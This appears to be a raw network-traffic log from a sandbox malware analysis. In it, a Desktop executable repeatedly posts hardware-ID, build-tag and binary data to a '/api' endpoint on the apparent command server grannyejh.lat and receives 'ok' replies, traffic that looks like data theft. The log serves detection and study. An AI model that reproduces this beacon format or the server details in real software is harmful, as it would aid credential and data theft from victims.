2024-12-19 06:56:23 UTC	1369	IN	Data Raw: 4a 4a 38 43 2b 2f 43 45 78 57 79 6f 58 75 37 6d 50 57 50 37 48 7a 76 7a 43 62 61 61 41 4a 50 78 30 51 65 6c 49 52 68 50 48 57 41 45 79 67 2b 69 79 42 44 64 41 49 52 33 35 67 59 6c 53 2b 38 76 62 73 64 6b 78 74 63 41 72 39 54 55 54 6f 77 55 4a 57 38 5a 53 54 6d 66 41 31 36 73 41 63 48 6f 71 45 2f 65 4c 6d 68 62 76 6a 73 48 38 32 69 2f 2f 6d 47 50 39 50 42 79 73 53 6b 59 52 7a 30 38 45 4d 34 6a 6f 76 78 6b 39 53 79 6b 52 38 59 61 42 57 50 54 49 30 62 66 57 4a 62 2f 42 4b 62 42 36 57 61 35 64 42 30 4f 42 66 67 6b 7a 6a 65 6e 2b 50 6a 46 42 4a 78 72 76 7a 4a 4d 59 36 59 44 66 73 4a 31 37 2f 38 77 71 38 44 38 54 72 55 56 41 46 73 52 4a 43 54 79 4e 34 62 59 46 4e 55 73 6c 46 50 53 4b 6a 46 48 30 78 63 71 35 31 43 2b 7a 67 47 32 77 4d 77 48 70 48 51 63 30 78 6c Data Ascii: JJ8C+/CExWyoXu7mPWP7HzvzCbaaAJPx0QelIRhPHWAEyg+iyBDdAIR35gYlS+8vbsdkxtcAr9TUTowUJW8ZSTmfA16sAcHoqE/eLmhbvjsH82i//mGP9PBysSkYRz08EM4jovxk9SykR8YaBWPTI0bfWJb/BKbB6Wa5dB0OBfgkzjen+PjFBJxrvzJMY6YDfsJ17/8wq8D8TrUVAFsRJCTyN4bYFNUslFPSKjFH0xcq51C+zgG2wMwHpHQc0xl
2024-12-19 06:56:23 UTC	1369	IN	Data Raw: 37 37 55 5a 50 45 45 67 45 50 2b 45 69 31 6a 39 79 39 36 33 32 69 53 35 7a 53 76 39 4d 52 71 6f 51 55 30 4a 77 6b 45 45 4d 6f 71 6d 38 6b 73 31 56 32 6c 46 75 61 75 41 66 2b 44 62 79 71 71 64 50 50 48 5a 59 2f 63 34 57 66 45 46 52 42 54 49 52 51 59 33 6a 2b 6d 34 42 54 52 4a 4a 42 6a 32 68 70 35 65 2f 73 33 54 73 39 59 78 76 38 30 6e 2f 44 41 52 6f 6b 38 48 56 59 46 4e 46 6e 2f 59 70 6f 6b 47 50 55 38 71 43 37 6d 54 77 6b 2b 77 78 39 54 38 68 57 4f 7a 7a 69 50 2f 4f 42 57 69 54 55 59 58 7a 30 30 4c 4e 6f 6a 75 72 67 6f 32 52 79 67 54 39 6f 32 49 55 2f 58 45 33 37 6a 62 4c 50 2b 4f 59 2f 63 73 57 66 45 46 61 44 7a 30 43 43 38 46 77 50 6e 79 45 6e 4a 49 4a 56 32 68 7a 49 42 56 2f 4d 6a 58 75 74 51 76 74 63 6b 6f 2f 44 38 64 70 55 78 43 48 63 42 50 43 7a 36 Data Ascii: 77UZPEEgEP+Ei1j9y9632iS5zSv9MRqoQU0JwkEEMoqm8ks1V2lFuauAf+DbyqqdPPHZY/c4WfEFRBTIRQY3j+m4BTRJJBj2hp5e/s3Ts9Yxv80n/DARok8HVYFNFn/YpokGPU8qC7mTwk+wx9T8hWOzziP/OBWiTUYXz00LNojurgo2RygT9o2IU/XE37jbLP+OY/csWfEFaDz0CC8FwPnyEnJIJV2hzIBV/MjXutQvtcko/D8dpUxCHcBPCz6
2024-12-19 06:56:23 UTC	1369	IN	Data Raw: 54 78 43 4a 68 58 78 68 59 31 53 39 63 33 65 73 4e 63 69 75 4d 34 74 2b 48 52 58 36 55 4a 66 57 35 6b 4b 4c 79 2b 62 39 4b 6f 47 45 30 49 6d 58 65 62 43 6c 52 62 33 7a 4a 6a 6b 6e 53 71 74 78 43 37 69 50 52 36 6e 53 6b 51 4a 77 45 63 46 4c 59 66 70 75 41 77 2b 53 53 59 62 2b 49 6d 47 57 76 66 46 30 37 50 52 59 2f 47 41 4a 4f 68 30 51 65 6c 72 54 41 6a 57 53 51 41 30 6c 76 33 38 46 48 78 57 61 52 72 31 7a 4e 51 57 38 38 76 54 75 4e 30 76 76 38 51 75 38 43 59 57 72 6b 4a 4f 45 4e 4e 41 43 54 69 4c 37 72 63 45 4e 46 30 6c 45 2b 75 4a 6e 6b 53 77 6a 70 69 37 78 57 50 6e 67 42 58 33 4a 41 6d 71 42 33 59 4e 77 6c 77 46 4d 6f 79 6d 6f 30 55 72 44 79 34 52 75 64 54 4d 55 50 2f 4a 32 37 50 63 4b 72 50 4e 4a 76 6b 78 47 4b 39 42 54 52 48 42 54 41 67 2b 68 65 79 2f Data Ascii: TxCJhXxhY1S9c3esNciuM4t+HRX6UJfW5kKLy+b9KoGE0ImXebClRb3zJjknSqtxC7iPR6nSkQJwEcFLYfpuAw+SSYb+ImGWvfF07PRY/GAJOh0QelrTAjWSQA0lv38FHxWaRr1zNQW88vTuN0vv8Qu8CYWrkJOENNACTiL7rcENF0lE+uJnkSwjpi7xWPngBX3JAmqB3YNwlwFMoymo0UrDy4RudTMUP/J27PcKrPNJvkxGK9BTRHBTAg+hey/
2024-12-19 06:56:23 UTC	1369	IN	Data Raw: 6c 46 75 59 2b 4c 56 66 48 4b 30 62 44 53 4a 4c 76 53 4b 66 63 6d 47 4b 68 4f 53 68 66 42 52 77 4d 31 67 65 2b 78 42 7a 39 49 4c 68 4c 38 7a 4d 49 57 39 39 69 59 35 4a 30 43 73 73 73 76 71 32 35 5a 74 67 74 65 57 38 5a 47 54 6d 66 41 35 72 59 4f 4f 45 49 71 45 76 71 65 6a 56 44 69 77 4e 57 32 7a 79 6d 30 78 53 37 39 4f 52 71 76 51 30 77 58 30 30 4d 4f 50 49 75 6d 38 6b 73 31 56 32 6c 46 75 61 2b 62 51 50 72 48 31 4b 72 57 49 72 7a 57 4c 75 42 30 56 2b 6c 55 51 41 71 42 45 68 67 76 6c 2b 47 6a 52 53 73 50 4c 68 47 35 31 4d 78 51 2b 63 62 66 75 74 4d 78 75 73 59 73 2f 7a 30 51 72 55 31 45 47 38 56 4f 43 54 71 44 36 72 63 4d 4d 55 41 74 46 50 65 46 67 78 61 2b 67 4e 2b 6b 6e 58 76 2f 34 54 6a 7a 4f 42 54 70 57 67 6b 43 67 55 30 43 66 39 69 6d 73 41 55 33 54 Data Ascii: lFuY+LVfHK0bDSJLvSKfcmGKhOShfBRwM1ge+xBz9ILhL8zMIW99iY5J0Csssvq25ZtgteW8ZGTmfA5rYOOEIqEvqejVDiwNW2zym0xS79ORqvQ0wX00MOPIum8ks1V2lFua+bQPrH1KrWIrzWLuB0V+lUQAqBEhgvl+GjRSsPLhG51MxQ+cbfutMxusYs/z0QrU1EG8VOCTqD6rcMMUAtFPeFgxa+gN+knXv/4TjzOBTpWgkCgU0Cf9imsAU3T
2024-12-19 06:56:23 UTC	1369	IN	Data Raw: 4c 6d 68 54 46 77 39 61 79 32 6a 58 2f 33 78 79 2b 64 42 61 7a 42 52 38 69 32 41 6f 4a 4d 38 43 2b 2f 42 34 31 54 79 34 48 37 34 75 41 52 2f 76 4e 31 4a 37 53 4a 4b 6e 44 4c 50 4d 6c 45 4f 56 4f 53 6c 75 50 43 67 6b 6e 77 4c 37 38 4a 44 56 5a 4b 6a 4c 36 6e 59 55 57 76 6f 44 66 71 70 31 37 2f 2f 35 6a 34 6a 63 4a 71 6b 70 57 4a 59 45 53 46 77 48 41 37 61 6f 4d 49 6b 77 2f 46 76 53 41 6e 57 69 77 6d 49 7a 75 6a 33 48 74 6b 6a 79 77 4b 79 62 6e 42 55 5a 62 6d 58 4d 58 66 35 61 6d 35 46 6c 38 44 7a 74 64 6f 63 7a 4c 56 65 4c 53 33 72 2f 4c 49 50 6a 2b 48 64 63 69 45 36 35 56 51 41 7a 4f 43 6b 42 2f 6a 36 62 6b 4d 6e 4a 47 4c 67 62 6f 6d 6f 46 47 39 34 44 6e 38 70 30 37 2f 35 68 6a 78 54 63 58 70 30 4a 52 43 6f 78 74 47 44 57 48 39 72 73 63 50 51 39 6e 58 66 Data Ascii: LmhTFw9ay2jX/3xy+dBazBR8i2AoJM8C+/B41Ty4H74uAR/vN1J7SJKnDLPMlEOVOSluPCgknwL78JDVZKjL6nYUWvoDfqp17//5j4jcJqkpWJYESFwHA7aoMIkw/FvSAnWiwmIzuj3HtkjywKybnBUZbmXMXf5am5Fl8DztdoczLVeLS3r/LIPj+HdciE65VQAzOCkB/j6bkMnJGLgbomoFG94Dn8p07/5hjxTcXp0JRCoxtGDWH9rscPQ9nXf
2024-12-19 06:56:23 UTC	1369	IN	Data Raw: 34 4e 62 44 38 4e 55 67 70 64 6f 64 7a 68 38 56 72 30 4a 64 48 4d 64 73 4c 6e 2f 4f 70 72 4e 4c 61 6e 5a 70 56 62 6d 7a 77 68 62 6f 67 49 44 38 36 43 43 78 7a 69 54 6d 4a 56 53 42 5a 6e 30 68 67 32 59 4a 4b 73 4c 53 75 78 73 6a 52 43 51 52 75 63 4c 4d 55 4c 43 59 69 50 4b 64 4a 36 36 41 65 36 42 6d 51 76 77 57 45 45 75 54 56 55 41 6d 77 50 44 38 55 32 41 42 61 51 2b 35 31 4d 77 52 38 39 4c 4b 75 74 34 31 76 49 63 64 7a 68 4d 58 72 6b 52 52 43 39 5a 46 4d 41 47 56 35 62 49 46 4e 56 6b 34 58 62 66 4d 67 78 61 6f 2b 5a 6a 30 6e 52 7a 78 67 44 75 77 62 46 6d 63 52 6b 6b 56 78 6c 77 66 63 71 66 6f 75 77 6f 6b 58 7a 34 53 75 63 4c 4d 55 4c 43 59 69 76 4b 64 4a 36 36 41 65 36 42 6d 51 76 77 57 45 45 75 54 56 55 41 6d 77 50 44 38 55 32 41 42 61 51 2b 35 31 4d 77 Data Ascii: 4NbD8NUgpdodzh8Vr0JdHMdsLn/OprNLanZpVbmzwhbogID86CCxziTmJVSBZn0hg2YJKsLSuxsjRCQRucLMULCYiPKdJ66Ae6BmQvwWEEuTVUAmwPD8U2ABaQ+51MwR89LKut41vIcdzhMXrkRRC9ZFMAGV5bIFNVk4XbfMgxao+Zj0nRzxgDuwbFmcRkkVxlwfcqfouwokXz4SucLMULCYivKdJ66Ae6BmQvwWEEuTVUAmwPD8U2ABaQ+51Mw
2024-12-19 06:56:23 UTC	1369	IN	Data Raw: 50 4b 64 4c 2f 2b 59 59 2f 45 2b 43 61 52 4b 51 46 66 47 55 41 6c 2f 7a 71 61 79 53 32 6f 50 4b 42 66 70 67 59 4e 52 76 4d 62 57 73 70 30 38 38 64 6c 6a 35 6e 52 42 2b 67 73 48 43 59 45 53 54 6e 69 44 39 4b 34 4e 4d 56 6b 71 57 73 65 79 6f 55 54 33 30 4e 76 2b 37 43 36 37 31 6a 62 7a 4a 42 36 58 65 32 6f 4a 78 6c 6f 4e 66 62 48 77 76 77 73 38 53 47 6c 54 75 5a 54 4d 44 72 44 74 79 72 76 4e 49 50 2b 4f 59 2f 78 30 51 65 6c 49 56 52 7a 52 53 55 49 34 6d 75 48 38 46 48 78 57 61 51 75 35 31 4e 38 59 73 4e 4b 59 35 4a 31 6b 73 63 30 69 38 7a 6f 61 75 31 64 42 47 4e 64 4a 53 51 47 2b 79 36 34 4d 49 6b 78 72 4c 50 53 49 6d 6b 50 7a 30 4e 2b 43 34 77 36 74 78 7a 50 7a 64 6a 57 75 53 45 73 6c 2f 33 30 66 4f 4a 43 6b 6d 67 67 6b 54 47 6c 54 75 5a 54 4d 44 72 44 74 Data Ascii: PKdL/+YY/E+CaRKQFfGUAl/zqayS2oPKBfpgYNRvMbWsp088dlj5nRB+gsHCYESTniD9K4NMVkqWseyoUT30Nv+7C671jbzJB6Xe2oJxloNfbHwvws8SGlTuZTMDrDtyrvNIP+OY/x0QelIVRzRSUI4muH8FHxWaQu51N8YsNKY5J1ksc0i8zoau1dBGNdJSQG+y64MIkxrLPSImkPz0N+C4w6txzPzdjWuSEsl/30fOJCkmggkTGlTuZTMDrDt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.179.109	443	6360	C:\Users\user\Desktop\AWrVzd6XpC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:56:25 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HZS2B1N90N2GA5SIT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18157 Host: grannyejh.lat
2024-12-19 06:56:25 UTC	15331	OUT	Data Raw: 2d 2d 48 5a 53 32 42 31 4e 39 30 4e 32 47 41 35 53 49 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 30 30 36 30 44 38 44 33 41 38 39 34 31 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 48 5a 53 32 42 31 4e 39 30 4e 32 47 41 35 53 49 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 5a 53 32 42 31 4e 39 30 4e 32 47 41 35 53 49 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --HZS2B1N90N2GA5SITContent-Disposition: form-data; name="hwid"B0060D8D3A894186AC8923850305D13E--HZS2B1N90N2GA5SITContent-Disposition: form-data; name="pid"2--HZS2B1N90N2GA5SITContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-19 06:56:25 UTC	2826	OUT	Data Raw: 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af Data Ascii: 5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-19 06:56:26 UTC	1130	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7bqetgcbpa5aabpjmopbb7lo53; expires=Mon, 14 Apr 2025 00:43:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rsnscv7c%2B3n9umXQycYh9PrP%2Fl%2FBGQk3IDOd5linSD3dzrTW0bkeHY%2B0r%2FpC6qKXkK26r3rPrAdd0KiUiQbbjefXR0q7v8mZkjlQ3IL%2FmB8fKhuNh5Ad6bJplT1GP%2Ffy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f457e226ae25e60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1673&min_rtt=1667&rtt_var=637&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2829&recv_bytes=19115&delivery_rate=1701631&cwnd=248&unsent_bytes=0&cid=9665eb7535552dd6&ts=1034&x=0"
2024-12-19 06:56:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 06:56:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.179.109	443	6360	C:\Users\user\Desktop\AWrVzd6XpC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:56:28 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZNIEZMHNRQEMEUW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8766 Host: grannyejh.lat
2024-12-19 06:56:28 UTC	8766	OUT	Data Raw: 2d 2d 5a 4e 49 45 5a 4d 48 4e 52 51 45 4d 45 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 30 30 36 30 44 38 44 33 41 38 39 34 31 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 4e 49 45 5a 4d 48 4e 52 51 45 4d 45 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 5a 4e 49 45 5a 4d 48 4e 52 51 45 4d 45 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 5a 4e 49 45 5a Data Ascii: --ZNIEZMHNRQEMEUWContent-Disposition: form-data; name="hwid"B0060D8D3A894186AC8923850305D13E--ZNIEZMHNRQEMEUWContent-Disposition: form-data; name="pid"2--ZNIEZMHNRQEMEUWContent-Disposition: form-data; name="lid"PsFKDg--pablo--ZNIEZ
2024-12-19 06:56:29 UTC	1117	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fbivtl2bs1gdgpb9balps99scj; expires=Mon, 14 Apr 2025 00:43:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rb1HBOUIi3GabQgOiI2vj5eb3mJpKX4UrqOVKD%2FYYPCcDPWp2PbH9Y3m8gPeIJLtSDsXVyRAm6Hhr6ti7xNHWuHhQ9Z1hCsAt2NNO8FFepWqAzxC%2FkTgM8dD02Z87pgO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f457e3119908cca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1799&min_rtt=1792&rtt_var=687&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2830&recv_bytes=9699&delivery_rate=1574973&cwnd=239&unsent_bytes=0&cid=1e979e33405d7685&ts=914&x=0"
2024-12-19 06:56:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 06:56:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.179.109	443	6360	C:\Users\user\Desktop\AWrVzd6XpC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:56:30 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ID3I8X2U9Z4DC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20407 Host: grannyejh.lat
2024-12-19 06:56:30 UTC	15331	OUT	Data Raw: 2d 2d 49 44 33 49 38 58 32 55 39 5a 34 44 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 30 30 36 30 44 38 44 33 41 38 39 34 31 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 44 33 49 38 58 32 55 39 5a 34 44 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 44 33 49 38 58 32 55 39 5a 34 44 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 49 44 33 49 38 58 32 55 39 5a 34 Data Ascii: --ID3I8X2U9Z4DCContent-Disposition: form-data; name="hwid"B0060D8D3A894186AC8923850305D13E--ID3I8X2U9Z4DCContent-Disposition: form-data; name="pid"3--ID3I8X2U9Z4DCContent-Disposition: form-data; name="lid"PsFKDg--pablo--ID3I8X2U9Z4
2024-12-19 06:56:30 UTC	5076	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-19 06:56:31 UTC	1120	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oa1vej2miemb7oh4cqld1s0jlp; expires=Mon, 14 Apr 2025 00:43:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vzoRwUHM4YNlM8OjXLJCw6w26zLId8S9e9E2s%2Bj%2BxyRUD6EIBnIzNUu6o3bXzm7wjr18FgbNo3ae78ZWfF6PoLVZm76UsmyWi81RgYYtXGmqFWGwXkKifhM6ZYSJHY7f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f457e3fecc20f77-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1620&min_rtt=1618&rtt_var=611&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2831&recv_bytes=21361&delivery_rate=1784841&cwnd=231&unsent_bytes=0&cid=738aa721f5bdd9d6&ts=1037&x=0"
2024-12-19 06:56:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 06:56:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.179.109	443	6360	C:\Users\user\Desktop\AWrVzd6XpC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:56:33 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EG53GL0G6DV1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1231 Host: grannyejh.lat
2024-12-19 06:56:33 UTC	1231	OUT	Data Raw: 2d 2d 45 47 35 33 47 4c 30 47 36 44 56 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 30 30 36 30 44 38 44 33 41 38 39 34 31 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 45 47 35 33 47 4c 30 47 36 44 56 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 47 35 33 47 4c 30 47 36 44 56 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 45 47 35 33 47 4c 30 47 36 44 56 31 0d 0a Data Ascii: --EG53GL0G6DV1Content-Disposition: form-data; name="hwid"B0060D8D3A894186AC8923850305D13E--EG53GL0G6DV1Content-Disposition: form-data; name="pid"1--EG53GL0G6DV1Content-Disposition: form-data; name="lid"PsFKDg--pablo--EG53GL0G6DV1
2024-12-19 06:56:34 UTC	1118	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6f2i28so7ru1tl9pn1g187aiu0; expires=Mon, 14 Apr 2025 00:43:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Su770CEsqziplUJNHk%2F08JcTu1nManb7eI8Wws86qecfUguhE0UDgspHWQmDQEPY8RXs%2FmLGuHwgxLxHwkXucd29ycjANP7T7NCSmH0QSiDyf%2F3kEARX0A1j1X5tXWpw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f457e558d457c88-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1807&min_rtt=1800&rtt_var=690&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2139&delivery_rate=1568206&cwnd=219&unsent_bytes=0&cid=5ee83a0fcd80dc6e&ts=973&x=0"
